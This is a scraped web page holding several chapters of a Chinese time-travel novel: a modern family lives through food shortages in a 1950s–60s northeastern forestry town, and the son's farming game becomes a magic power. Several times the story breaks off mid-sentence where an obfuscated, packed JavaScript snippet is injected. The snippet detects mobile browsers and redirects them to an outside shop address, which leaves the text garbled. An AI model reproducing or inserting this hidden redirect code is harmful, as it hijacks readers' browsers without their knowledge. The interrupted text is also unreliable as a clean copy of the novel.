这时候的人能干活,也能吃。一个成年男劳力想要吃饱,一天至少一斤半粮食。就连女的都能吃一斤。 许晨这样半大小子吃穷老子的,放开吃兴许能比成年男人吃的都多。 看着他妈捧着碗转着圈的喝粥,许晨心里直啧啧。 周敏同志之前还总张罗着减肥呢,一天只吃两顿饭,早饭和午饭,不吃油炸不吃糖,一顿饭主食半个馒头,两口米饭。 晚上的话…… 随随便便吃点儿零食也就饱了。 但现在穿过来才两天,这位说什么减肥是女人终身事业的“女强人”,一顿干一大海碗都面不改色,甚至还不饱。 这个年代物资太贫瘠了,吃什么都定量,没办法管够。 想要多吃点儿,那就得有粮票,有钱,可以去国营饭店供销社买些东西吃。 但就算如此,也买不到粮食。 想要多的粮食吃,只能去黑市。 可是这时候,别说黑市了,就连一些小领导,也得饿肚子。 真弄不来吃的。 吃完饭,瓦罐里还要到点儿开水晃一晃倒出来,这水也不浪费,都被许放吨吨吨喝掉了。 许晨捂着肚子发愁。 别人穿越,各种金手指大开,囤什么百亿物资之类简直毛毛雨。 为什么轮到自己,饭都吃不饱,得吃苞米杆子呢? 而且这苞米杆子还得抢着吃,否则就得饿着。 “季航说等冬天他们村会组织打猎,哦,季航是我同学,你们认识吗?”许晨期待的看着自己亲爹,“爸,你在派出所上班,给配枪不?” 许放也有些心动,“能打猎?对啊,现在还没有禁枪禁猎呢。他娘,你们村组织打猎不?” 周敏无语。 心说我也是初来乍到啊,我能知道这些? “过几天回家问问呗,”周敏想了想,“这几天去食堂,多屯点儿窝头,到时候还能拿着回老家。” 许晨:…… 不是,就这黑了吧唧的窝头,都能算是礼物了? 晚上也没有什么活动,主要是都没吃饱,再整点儿活动,那肚子就更饿了。 季航拿来的红薯干还剩下几块,周敏都收起来了,说留着给他们几个小的明天当零食吃。 孩子们欢呼,许晨更加无语。 晚上顾哲也没有回去,他跟着许娟一起铺炕,仿佛已经习惯了。 许晨看向他妈妈周敏,周敏对他使了个眼色,意思是别问也别说。 因为就烧了一个炕,大家都挤着睡。炕头最热的地方放着几个孩子的衣裳,然后是周敏。 周敏挨着大闺女许娟,许娟抱着自己的妹妹许阳。 许阳那边就是许晨,然后是季航。许光岁数小活力壮,小伙子压根不怕冷,就跟他爹睡一个被窝。 睡觉前被许放催着去撒尿,生怕晚上来个水淹金山寺。 一炕的人挤挤挨挨,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685803|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷,就摸黑了说话。 许放跟周敏虽然是七十年代生人,但毕竟父母辈也是苦日子过来的,他们虽然没有经历过这些,但也没少听长辈说过,所以心里有点儿底。 原本还担心许晨呢,但看许晨也在努力适应,最起码没有说一些乱七八糟的话,让人放心不少。 想一想,毕竟许晨也是个二十多岁的大小伙子了,只不过如今生在一个十三岁小孩儿的身体里而已。 “妈,咱买口锅呗。”许晨道。 没有大锅,烧炕都麻烦得很。又怕把石板烧坏,每次烧火还得小心翼翼,而且石板也要架起来。 听说别人家会用砖头在灶上垒个台子,弄个小孔放瓦罐,也能省一些火。 还好许家稍微有些钱,许放是派出所副所长,每个月工资一百多快呢。还有福利和奖金,票也不少。 可问题就是有票也买不到东西,很多东西都是得用抢的。 周敏没说话,许娟先说了,“你想的容易,谁家敢买铁锅啊?被举报了咋整?别说铁锅,咱家这个煤炉子要不是娘怀孕了,怕是都留不下来!” 煤炉子也是铁的,当初差点儿被人弄走。 “那爆爆米花的那个玩意也是铁的,为啥人家能走街串巷的,还不被人收走呢?”许晨疑惑的顶嘴。 许娟抬手,隔着中间的妹妹直接给许晨脑瓜子来了一下,“你是不是摔傻了?那东西是林场的,用来给林场赚钱的!就这么俩,周围村子的小孩儿都指望这个活着呢!” 许晨这才知道,爆米花锅这个玩意,也算得上是高精尖产物了。 林场这边就俩,一个在镇上这边,每天去一个村,转悠二十来天跑一圈,回去歇几天,然后再继续。 镇上的小朋友们缠着家长,攒了好久的玉米粒黄豆粒之类的,就指望这个东西给自己添点儿零食吃呢。 “那,”许晨道:“不买铁锅,买个铝锅也成啊。” 周敏想了想,“铝锅有毒。” 许晨哼了声,“抛开剂量说毒性那跟耍流氓有啥区别?” 许娟抬手又是一下,“咋跟娘说话呢?谁耍流氓?” 许晨:…… 他感受到了,来自于姐姐的压制。 周敏闷在被子里噗嗤噗嗤的笑,许放也笑出声,劝道:“好了好了,娟儿,你弟弟脑瓜子受伤了,再打更傻了啊。” 许晨往顾哲身边挤,他跟顾哲一个被窝呢。 “不是,没有谁耍流氓,但铝锅也是锅啊,又不是把铝当馒头吃。”许晨辩解。 “哥,别说馒头,我一听就饿了。”小小的许光哼唧。 许晨:…… 这下,顾哲也跟着笑出了声。 周敏想了想,跟许放商量:“要说也是,咱们小时候不就用铝锅吗?还有焗锅的呢,都是铝的。” 在七八十年代,铝锅是相当受欢迎的。焗锅焗盆也算是个兴盛行业,用完的铝制牙膏皮能当钱用,可以去供销社换糖果针头线脑,也能拿去当焗锅的材料用。 “可不是吗?”许晨来了劲头,“我还记得我奶用的那个铝铲子,只剩下一点儿了还用呢。说是用了几十年,哈哈哈都被吃掉了!” 许娟在黑暗里翻了个白眼儿,“你上次去爷爷奶奶家才几岁啊,还没锅台高,能看见铲子?” 许晨:…… 忘了这可不是自己曾经的老家,可不敢乱说话了! 5. 半夜吵闹 许晨只觉得自己做了个美梦,梦里他不但把辞职信丢到老板头上,还甩了那个傻批部门经理一个大比斗。 大学毕业就等于即将失业,他家里虽然有小买卖,但也算不上多富裕的人家。 许晨也好面子,好不容易进了个公司,就开始没黑没白的卷。 他穿越之前是因为升职了小组长,正好也完成了个业务,顺便请了几天年假,带父母去京郊附近玩。 结果呢? 在高速路上,被刹车失灵的大货车一锅端了。 【叮……游戏加载完毕。欢迎老玩家回归。】 在梦里,许晨迷迷糊糊的听到这句话,还没来得及反应,就被嗷的一声凄厉的喊叫吓醒了。 “怎么回事?”周敏也吓醒了,伸手抱住了俩闺女,“他爹,你去门口听听咋回事。” “嗯呢。”许放披了衣裳下地,往外间屋去了。 许晨:…… 他爸妈一个河北人一个京城人,来东北没几天,这口音真的是,越来越地道了。 外面传来男人女人的吵架声,叫骂声。 整个街筒子都闹哄哄的,大家都披了衣裳趴门口听。 “李有德你不如改名叫你缺德!”女人的声音泼辣又尖利,“你这么几十年白活了啊,当年你爹就应该给你射被窝上,你下出来你娘就应该掐死你!!” “张彩凤你特么的给老子闭嘴!!”男人吼叫。 “我闭你娘了个皮的嘴!!”女人毫不示弱,片刻后又叫道:“好啊,你敢打我?你特么祖坟爆炸了吧你敢打我,老娘让你打,让你打!!” 周敏也套了衣裳出来,抓心挠肝的好奇,“咋回事儿?听明白没?” 许放摇摇头,“我看有人过去了,要不我出去瞅瞅咋回事?”他看着媳妇儿跃跃欲试的表情,连忙道:“你可不能去,你肚子里还有个崽儿呢。” “哎妈呀,你要不说我都忘了。”忘崽娘摸了摸肚皮,只能惋惜。 “爸,咋了?”许晨也穿了衣裳出来了,他也好奇。 “去去去,扶你娘回屋睡觉去,瞅你这个好信儿的样!”许放把媳妇孩子往屋里撵,然后拽了裤子套上,“我去看看,好像打起来了,不去不合适。等我回来给你们讲。” 许放推门出去,反手把门关好,这才急匆匆往打架的地方跑。 身边还有人跟着跑呢,“老许,出啥事儿了?” “我也不知道啊,这不是去看看吗?好像是李有德家打起来了。”许放心说没看我跟你一起跑吗?你不知道,我就能知道? 八卦是很多人类刻在骨子里的一种基因。 华国人对这种基因的传承尤其深厚。 毕竟是在大马路上看狗打架都能围一圈呢,更别说人打架了。 等走得近了,就发现那户人家周围墙头上,趴着不少看热闹的。 “让让,都让让,咋回事啊?”许放毕竟是林场派出所副所长,还是很有权威的。 围的严严实实的人墙顿时裂开了一道缝隙,露出中心战场的两拨人。 一波男的,拦着李有德。一波女的,正在安慰李有德媳妇张彩凤。 “老许,许所长!”张彩凤披头散发,哭嚎着指着李有德,“把他抓起来,让他坐大牢,吃枪子儿!个王八蛋,我真的是瞎了眼了啊,当年咋就嫁给这么个缺德玩意儿。我不活了啊,我不活了!” 张彩凤说着,顺着别人扶她的力道直接坐到地上,拍着大腿声泪俱下,“我辛辛苦苦攒的钱和票啊,那都是我的!结果都被这个王八蛋偷走了啊,都偷走了啊!!” 李有德冷笑道:“胡说八道,什么都是你的?合着老子没挣钱?” “那里也有我的钱,你都拿走了!!家里孩子不吃不喝不买东西不上学了?一分钱都没剩下,都没有了!!”张彩凤目眦欲裂。 许放在这两口子反复咒骂,厮打,哭嚎中,终于知道了事情的真相。 “李有德,这事儿就是你做得不对了。你们两口子挣的钱你想要用,好歹得跟你媳妇儿说一下吧?一个字儿都不提就全拿走了?那接下来的一个月你们俩吃啥喝啥?孩子咋整?” 李有德梗着脖子道:“又不是不能预支工资,还能饿死了?再说我娘养我跟我弟弟不容易……” 许放嗤笑道:“你妈不容易,也不是你媳妇儿造成的啊。那不得问你爹跟你为啥不让你娘过好点儿?” 李有德瞪眼,“她都嫁给我家了,那就是我家的人。用她点儿钱咋了?挣得钱不就是拿来用的?” 许放气笑了,“她是嫁给你了,不是卖给你家了吧?咋?你地主老财?人家嫁给你还得给你全家扛长工啊?” 这李有德把家里几年攒的两千块钱,全都拿走了,给他弟弟买了个工作。 今天张彩凤娘家来人说过几天家里弟弟成亲,她就想着拿钱买点儿东西送过去,结果一看,一分钱都没了。 李有德在他爹娘那边给弟弟安排好了,还喝了酒,喝到半夜愣是没地方住,摸黑回来的。 一回来,就跟张彩凤打起来了。 张彩凤哭的可悲伤了,脸上还有被李有德打出来的红印子。 当然,李有德也没落了什么好,被张彩凤挠了个满脸花。 许放想骂街,但知道这个年代这种事太多了。但看张彩凤是个能支棱起来的,于是他道:“给你弟弟买个工作也无可厚非,是吧?毕竟是自己的亲弟弟。我记得张同志家也有弟弟没工作,正好你们攒几年,再给张同志弟弟买个工作,就扯平了。” “凭什么?她张家的又不是我弟弟!”李有德嗷嗷嚷道:“当我冤大头呢??” 许放笑道:“还说你不是地主老财呢,咋?国家建国胜利的消息没人告诉你啊?不允许签长工当地主了。” 周围人哄笑,张彩凤气的爆哭,冲上去又开始揍李有德。 李有德要还手,被身边几个男的咋咋呼呼的拉架,不是拽胳膊就是拽腿,结果被张彩凤连抽带踹,脸都肿了,还顶着个乌眼青。 “行了行了,别打了。”看热闹看的差不多了,许放才开始劝架,说了两句,又问张彩凤的想法。 张彩凤冷笑道:“老娘的钱可不是这么好拿的,姓李的,你明白必须把钱都要回来,如果要不回来,我就去你弟弟单位,让他按照钱预支工资!” “你敢!”李有德被揍的跟猪头似的,还敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许家院子里也养了鸡,不过是几只母鸡。 安静可爱又会下蛋,每天孩子们都围着伺候它们。 院子里有个地窖,存放了一些大白菜土豆萝卜之类的新鲜蔬菜。 因为要吃大锅饭,腌酸菜的不多。但周敏请人帮忙腌了一缸。 早晨是各人从各人自家吃的,都是胡乱吃一些,等中午吃公家的去。 大锅饭推行了没几个月,就把库存吃的差不多了。 怕是再过段日子,连替代粮都吃不饱。 “妈,我跟你去上班!”许晨胡乱的扒了两口菜糊糊,一边吃一边喝水往下送。他有件大事要跟他妈商量,让他在家里,那真的是坐立不安。 周敏也没拒绝,道:“成,去吧。娟子你带弟弟妹妹去托儿所,大哲你在家里看家。明天你们就开学了是吧?到时候给晨晨请两天假。” 顾哲小大人一样的点点头,“放心吧,姨。” 6. 游戏更新 许放要跟着火车去市里,看看百货商场有没有铝锅卖。 铝锅比铁锅贵,但不需要拿去大炼钢,买的人还是蛮多的。 周敏也得去上班,虽然她跟许放都摔到了头,但不重,她额角擦出了血,许放头发里起了个包,也不大。 轻伤不下火线,是这个年代人们的口号。 其实也挺卷的。 只不过他们卷起来会评优秀,有奖金,涨职位。 比牛马强多了。 许晨跟着他老妈去收购站。 林场是他们这边很大的一个国有企业,每天早晨都有小火车从山里拖着木头嘟嘟嘟来镇上卸货。镇上这边再把木头分给各个需求单位。 离得近的自己派大卡车来拉,离得远的要送去市里车站,用货车送出去。 收购站离他们住的地方不远,挨着卸木头的场地仓库,旁边就是小火车的终点站。 每天早晨,伐木工装卸工他们就会乘坐小火车去山里,晚上再跟着小火车回来。小火车一天两趟,一趟运人,一趟送货。 收购站也不小,门口两间小房子,中间一大片场地,后面就是一排仓库。 这时候还没到严峻的时候,仓库里也没啥好东西,只是一些怕被雨淋的破烂儿,凑够了一车就会运走。 周敏掏钥匙打开锁,把收购站门口的大铁门拉开,然后进了旁边的小屋,把桌子椅子擦了。 这么个功夫,另一位妇女急匆匆的跑进来,一进门就道:“唉呀妈呀,我来晚了。今天一出门不小心摔了个刺溜滑,腚蛋子差点儿碎了。哟,晨晨来了啊?进屋进屋,小敏啊你坐着,我去点炉子。哎我不是摔了吗?裤子呲了个大口子,不得已又回去换了条裤。” 周敏就呵呵笑,“现在天冷了,走路得小心点,指不定哪里就有冰。晨晨,喊陈阿姨。” 许晨乖巧的喊了人。 “哎,晨晨真乖。可说呢,也不知道那个挨千刀的跟我家门口撒了尿。我出门着急没看见!”陈阿姨也是个利索人,三下五除二生了炉子,灌了水在壶里坐炉子上,又去另一个屋把那台大称拖到院子里。 平日里收购站也没有什么活儿,俩人就跟屋里聊天。 陈阿姨还织毛衣呢,周敏不会织毛衣,但她会勾毛线。只不过家里没有毛线给他勾,几个孩子的毛衣毛裤原身都准备好了,她过来捡了个现成的便宜。 “昨天打架的事儿你听说了吗?你家老许过去了。”陈阿姨这嘴,进门就没咋闲着,叭叭叭都是话,“李有德被张彩凤一顿抽嘴巴子,就这还梗着脖子不认账呢。张彩凤半夜里就找人护他们回家了。你瞅着吧,张家可不是吃素的。” 陈阿姨一个人就能撑起个热闹场合,一会儿骂李有德,一会儿可怜可怜张彩凤,说道激动的地方还擦了擦眼睛,跟着流了两滴眼泪。 许晨就坐在周敏身边,张着嘴看她。 这老半天了,他一句话都没插上。 好不容易有人过来找陈姐说话,许晨跟周敏都松了口气。 周敏怀了孕,没什么活儿就在屋里,坐在煤炉子边上烤火。这煤炉子上如果能有个红薯花生烤就好了,但没有。大批量的红薯都进了林场食堂,等他们中午过去吃呢。 周敏怀疑,再过些日子,杂粮窝窝头都没了,主食怕是都得换成红薯土豆子。 等上面把收回去的公粮分配下来,估计要等到快过年了,掐指一算还有三四个月,太难了。 “妈,”许晨向外张望了一下,那个陈阿姨正在跟几个妇女在收购站门口的大太阳地下面的木头杆子上坐着,聊的兴致勃勃津津有味呢,“你猜我身上发生什么事了?” 周敏眨眨眼,“咋?你有金手指了?” 许晨嘿嘿直笑,“哎呀,我也不知道这算不算金手指。就是我玩的一个农场游戏跟着我一起过来了,哈哈。我玩了七年啊,都升到满级了,原本等游戏公司更新新内容呢,谁知道……哎呀,那个先不说了,我昨天晚上在被窝里玩了会儿,从头开始,五级可以种小麦了。” 周敏眼珠子都亮了,“真的假的?玩了七年?满级?充了多少钱啊?” “也就五……”许晨顿了顿,跺脚道:“这是重点吗??啊?妈,这是重点吗?” 周敏嘎嘎笑,“好好好,五级了,有小麦了,能拿出来吗?” 许晨手腕一翻,一束小麦就出现在他掌心,“能拿出来,咋样?我厉害不?七年啊,啧啧。” 周敏摸了摸小麦,突然道:“那我干家里的小超市也有十多年了,咋超市没跟我一起来呢?” 刚铺了货,心疼死她了。 “哎呀,哎呀,那不是重点!”许晨又把小麦收回去了,“等我十级了,就能开粮食作坊,可以磨面!农场还能种蔬菜,种水果,各种粮食。以后还会开小饭馆,小超市……总之,不用饿肚子了!估计是我执念太深,所以有了这个金手指。” 周敏听完,片刻难过的叹了口气,“我跟你爸的执念,就是希望儿子也能来,到时候一家子团聚。早知道,我就多想想我的超市了。” 许晨:…… 他老娘真是亲的,纯纯的亲娘。 小麦是一级作物,游戏五级才能解锁第一组田地。 许晨昨天晚上压根睡不着,躺在被窝里把这个叫“幸福农场”的游戏打开,看见熟悉的界面,眼泪都差点儿下来。 目前来看,这个游戏可以虚空投屏,也可以闭着眼在脑海中进行任务。 但不知是不是可以与现实共同的缘故,游戏任务有些难度,他折腾了大半宿。 游戏主线是玩家辞职回到农村,接手爷爷奶奶的农场,然后把农场发展到顶级。 许晨从大学就开始玩这个游戏,主要是这玩意休闲,且不肝。里面还自带很多其他小游戏。什么合成啊消消乐啊找不同啊数独啊。 用来消磨时光简直是太好了。 舍友还笑话他,说他玩的是社畜游戏,只有社畜牛马才会利用碎片时间来玩这种休闲游戏呢。 正经大学生,都去砍水晶了。 许晨也不反驳,学习已经很紧张了,还要用那么多时间分析什么上中下三路,那么多技能,他压根没有那个闲心。 种种田,挺好的。 游戏一开始,里面的NPC爷爷奶奶去旅游了,让他签了个合同,将农场转让给了他。 但因为爷爷奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685805|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶岁数大了,太久不清理农场,之前的牲畜之类全部卖掉了。 所以玩家需要从头开始建设。 修理篱笆门,清理水渠,打扫落叶,整理乱糟糟的老房子…… 许晨忙的晕头转向,好不容易都弄干净了,发现才刚五级。 如果这是曾经的手机游戏,一个小时没升到五级,早就被人删了! 因为他属于“老玩家”,优点是曾经充值以及游戏赚取的金币钻石都在。 缺点是任务变多了,植物长成时间变长了。 以前一分钟就能收获一茬的小麦,如今需要六个小时! 基础地块只有三块,每块可以收获小麦十斤。十级之后能再开三块,而且还能解锁土豆和玉米两种农作物。 最重要的是,十级能建造粮食加工厂。 当初许晨这个游戏都270级了,里面无论是地还是各种加工厂NPC之类,全部到了满级。为了这个游戏,他可是充了不少钱呢。 一级畜牧厂要二十级才能解锁,解锁之后就能养鸡,收鸡蛋和鸡肉了。 许晨期待得很。 他絮絮叨叨的把这些事讲给周敏听,憋了一宿了,可算把话都说出来了,心里舒服了不少。 “那你赶紧升级,”周敏摸了摸肚子,“你妹妹想要吃肉呢。” 家里那几只鸡也不是天天下蛋的,每天下的蛋周敏吃一颗,剩下的就蒸蛋羹或者做蛋花汤,分给几个孩子们吃。 以前从不觉得鸡蛋是什么好东西,现在好了,想吃都是个难事儿。 更重要的是,馋肉! 没穿越之前,周敏可是家里最挑食的,天天想着减肥,肥肉更是一口都不碰。还想着漂亮,每天往脸上擦什么隔离防晒水乳精华。 现在? 笑死,有个嘎啦油都是好的。 谁家如果买个带香味的万紫千红或者那种用简陋塑料纸裹着的那种也带香味的凡士林油,那真的是,出门别人都得羡慕的多看几眼。 这玩意不贵,但抢不到。 镇上供销社每次进货,内部都会被订完,压根轮不到别人排队去买。 嘎啦油倒是管够。 不过家里有獾子油,还是去年周敏娘家弄来的,用狗獾熬出来的,说是防冻效果特别好,还能治疗烫伤。 但这玩意不香,还带着一股子食用油的气味,周敏很是不喜欢。 家里几个孩子偶尔会擦一些,擦上之后油光满面的,很容易沾土。 吃又吃不饱,美也没办法,周女士很是郁闷。 “你赶紧升级,”周敏叹了口气,“我也不求什么,过几天去你姥爷家,我能带点儿面粉回去,可就长大脸了。” 因为有大锅饭,她已经挺长时间没回老家了。离得也不远,但回去没锅没灶,还得去大队食堂混饭吃,容易被人说闲话。 更别说,现在农村也不好混。 一上午,一个来卖废品的都没有。 十一点一到,周敏跟张阿姨立马就起身,把门窗关上,炉子封了,大称推回房间锁上。 然后出门,锁大铁门,迅速往家里赶。 十一点半,食堂就要开门了! 7. 顾哲 “对了,妈,那个顾哲是咋回事啊?” 捣鼓了一上午四个小时,才升了两级,许晨累的脑袋发蒙。 往家里走的时候,突然就想起那个小伙伴了。 “顾哲啊?”周敏叹了口气,“可怜的孩子。按说他家条件不错,爷爷奶奶林场的,亲爹是地质局的科研人员,工资高福利好。他妈妈是咱们这边供销社的售货员,按说一家子能过的挺不错的。但他三岁的时候爷爷走了,五岁的时候奶奶也走了。他爸长年累月在外地不回来,偶尔托人带点儿钱回来。” 周敏走得急,缓了脚步,又忍不住叹气,“他六岁的时候,当妈的改嫁,不愿意带着他。房子也没要,钱倒是也给他留下来了。好像是嫁到市里那边,继续做供销社售货员了。这孩子就开始吃大锅饭,但因为跟你年纪相当,又是邻居,就时常来咱家了。” 许晨想到了现实的事,“那他的钱呢?不会有什么亲戚啥的过来抢吧?” “这倒没有,他家就他爸一根独苗,他爷爷当年闯关东来的,亲戚都在山东那边呢。钱都放在大队了,咱们几个邻居加几个领导都签了字,按了手印。每个月由大队那边给他拨粮食学费日常买东西的钱。不过我听说,他爸已经两年没有寄钱回来了,顾哲现在花的都是当年爷爷奶奶留下来的钱,以及林场对家属关怀一个月给的五块。” 周敏想起刚知道顾哲情况的时候,自己都震惊了。 也不知道顾哲他爸怎么想的,这么多年,愣是一次都没回来看过。 “那……那他爸,不会是在外面又有了吧?”许晨认为,这个可能性太大了。 毕竟现在结婚都可以不打证明,就算有了证明也不联网。 他之前听爸妈说过,六七十年代的下乡知青在乡下结婚了,但没有领证。八十年代初知青都跑了,在城里又成了家。 愣是没有重婚罪! “这谁知道呢,都不知道他爸现在跟哪个山沟里猫着呢。顾哲现在跟咱家住,你也别多嘴。这是你爸……咱家过来之前那两口子决定的,都是好人。”周敏跟儿子强调。 “放心吧妈,我又不是真的小孩儿,还能不知道轻重?”许晨也觉得顾哲太可怜了,这种情况不管放在这个年代还是他穿来的那个年代,都会很可怜。 还好这时候的人大多没有什么花花肠子,否则顾哲这个孩子,怕是要被人活吃了。就那几间房,都得让人眼红。 母子俩脚步匆匆回到家,许放已经回来了,正猫着腰往灶台上安装大铝锅。 这个铝锅不是那种炒菜的锅,而是大蒸锅。上面能放两个篦子,用来蒸馒头蒸包子之类的。 铝锅可比铁锅贵多了,这时候的铝也比铁值钱,一个铝锅的价格能买两口半铁锅了。 “赶紧洗手,娟儿啊,大哲,抄家伙。你们脚快,赶紧去排队!”周娟进了院子就开始指挥。 去食堂抢饭,跟打仗一样! “等我糊完这点儿泥巴,晨晨去舀一桶水倒锅里,把灶点上,回来就有热水用。”许放也加快了速度。糊完灶台的泥巴,又迅速的给灶里点火。 许晨拎着桶拿着瓢,从大缸里往外舀水,舀了大半桶,呲牙咧嘴的拎起来。 根本拎不动,这桶木头的,死沉! 许放点了火,结果儿子手里的桶往锅里一倒,盖上锅盖,“好了好了,走走走,吃饭去!” 抱着盆拿着筷子,一家三口开始往食堂跑。 “晨晨!!”食堂里一张桌子边上,季航趴在桌子上占座呢,“快来快来!” “快去!”周敏推了许晨一下,“别让别人占了桌子!” 许晨把碗递给周敏,跑到季航身边。 “快,跟我一样趴桌子上!”季航指挥。 许晨:…… 没办法,只能趴着。 还好没一会儿,许阳许光拎着布袋子就过来了。季航的两个兄姐也跑了过来,几个孩子把桌子围城一圈,总算不用趴着了。 “许晨晨,你明天要请假啊?”季航坐在条凳上,歪着脑袋看许晨,“我上午去你家了,就大哲在。他说你明天要请假,请两天。” 许晨点头道:“我脑袋上的包还没消呢,我爸妈不放心。” “那放学我跟大哲一起来你家啊,给你补课。”季航摇头晃脑的,“咱们初一的课程,可难了。” 许晨十三岁,已经开始上初一了。 这时候小学五年制,分什么初小,中小。也就是上一年,上三年以及上五年的区别。初中跟高中也是一起的,但不是直升,得看成绩。 成绩好就能直升,成绩不好,就得留级。 他们林场上学的小孩儿也不少,小学里有一百多个学生呢。不过留级的也不少,听说里面五年级有个岁数最大的,都十七了。 家里求着校长让他顺利毕业,有个小学文凭,也能找个同样有文化的对象。 许晨听完大为震惊。 在他心里,小学毕业只是扫盲结束而已,就这都能称之为有文化?? 但在大多数人都是文盲的年代,小学毕业确实属于有文化,别说毕业了,上两年能算简单的算数,会写几个字,都属于有文化的人。 有了小学毕业证,可以去应聘八大员呢! 但问题是,十七岁小学都没能毕业,这应该就是智商问题了吧? 原本的许晨虽然淘气,但脑子快,考试向来卡及格线,让老师又气又笑。但好歹不用留级,顺利上了初中。 季航唉声叹气道:“娟姐学习多好呢,为啥不上高中了啊?”说完,还偷摸看了眼自己大哥。 许晨心里一动,“我姐学习很好啊?” “你装什么呢?当初娟姐每次考试都是前三名,老师说最好上个初中,还能考大学呢。不去上,就太可惜了。”季航对他翻白眼。 许娟是今年毕业的,毕业之后就进了林场托儿所。 “可能我姐自己有啥想法吧?回去让我妈问问。”许晨道。 说着话呢,两家大人也都举着盆子抱着碗过来了。 今天食堂煮的红薯粥,用的是替代粮,但里面放了足足的红薯,所以闻着又香又甜。 因为有了红薯粥和窝头,菜就只有两个。一个是炖大白菜,一个是咸菜条。 许家人仍旧是一人揣了俩窝头,剩下的就分着吃,咸菜条就粥正好,大白菜要拿回去晚上煮糊糊。 不止许家这么做,季家也是这么做的。 许晨跟咽药似的,硬塞了三个窝头,还喝了一大碗粥。这边有红薯跟白薯两个品种,碗里的白薯面的噎人,红薯到甜甜的,还不错。 许晨吃的直伸脖子,但不吃就得挨饿,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个人就端着盛炖白菜的盆,表示这是吃剩的,可以拿回去吃,不浪费。 季航跟着家里人走,还对许晨说呢,“许晨晨,下午我去找你玩啊。你在家等着我。” 许晨只能点头,“成,你来吧。” 回到家,周敏按照惯例把窝头都收起来。因为打算过段时间回一趟娘家,所以窝头也多拿了几个。 锅里的水烧开了,家里人都用热水洗脸洗手。 许放又续了一桶水在里面,灶台下面塞了一把柴火,“晚上用热水洗衣裳,早就应该买了,这玩意省煤。” 煤炉子得用煤,煤是需要花钱用票的。 但林场这里多的是柴火,那玩意都是免费的。谁家院墙里都垒着人高的劈柴,就是用来烧灶的。 “老许,”周敏刚张罗了让闺女带几个孩子们去睡觉,外面就来人了。 许放迎了出去,“老吴,啥事儿啊。” 老吴道:“你家买了锅?我看看。哎,现在天冷了,没有锅,灶台都不好用了。” 他说着话就进了屋,看见周敏还喊了声弟妹,然后盯着灶台,“这就是那个锅?哎哟,看着可真好看啊。” 8. 季航 下午睡到两点,许晨起来了。 中午那个老吴过来问锅,问了材质问价格,嘴上唏嘘半天,就不说买。 要不是周敏说肚子不太舒服,估计老吴还得墨迹一会儿。 也不知道他到底想啥呢,不会是想要白得一口锅吧?那也太扯了。 “不是钱的事,”许放琢磨了一下,“估计是因为不好张嘴让我给他白带一趟。” 这时候还没有工业券,要等到六一年,国家物资再次紧张起来,工业券就被推行开了。 职工工资每二十块发一张,买火柴脸盆暖壶饭盒子啥的,都得用这玩意。 很多人家想添个大件儿,要攒一年的票才买的了。 这种带篦子的铝锅很大,直径得有四十多五十公分了。 许放买了两口锅,用绳子捆着背回来的,那叫一个费劲儿。 一口锅自家用,另一口要等出差回来,带去老丈人家。 林场铁路派出所出差是常有的事儿,这时候派出所也叫警察,但也改了名字叫公安。里面不少老人都是当年解放前警察局里留下来的,后来因为警察局改成了公安局,大家也都开始叫公安了。 直到八几年公安局开始各种统一职权划分职责,才又开始叫警察的。 这边出差是苦差事,就是押车。 没有什么座位,更没有卧铺之类,因为跟的是货车。 林场铁路派出所这边是有站台的,直接从林场镇上这边运送订单木材上车,运送到全国各地。 货车会专门安装一截车厢,放一些日用品,供车上的警察以及机组人员轮流休息。里面有炉子,有煤。还有厚厚的稻草,上面放着铺盖。 如果是短途还好,一天去,一天回。长途就很难熬,这种闷罐子里夏天热冬天冷,特别难受。 出差有出差的好处,会给补贴,还给全国粮票。 全国粮票是硬通货,能换工业券,能换油。就算换粮食,也比本地粮票能多换二两呢! 如果要托人办事,给几斤全国粮票,比给钱受欢迎。 坏处就是…… 这时候太乱了,经常有扒车的。 客运车就会有人上车偷东西,或者去行李车厢偷行李。 货运车就更别说了,拉十吨尿素,到站点儿少一吨都是轻的。这时候就得需要派出所的人押车了,察觉有人上车偷东西,能直接开枪。 许放是从部队下来的,还参加过抗美援朝。他老家是京城的,当年参加东北建设跟着兵团一起过来,后来在这边成亲生子,也没能回去几次。 这边货运车没有直达京城的,要倒车。但倒车之后就会换人押车。除非特殊任务或者请假,否则许放也没办法跟着去京城。 押车的都喜欢用有经验的老警察,尤其是当过兵经历过实战的。 这样的人有经验,枪法准,脑子活。 很多时候,还能预知危险,告诉车上的人如何规避。 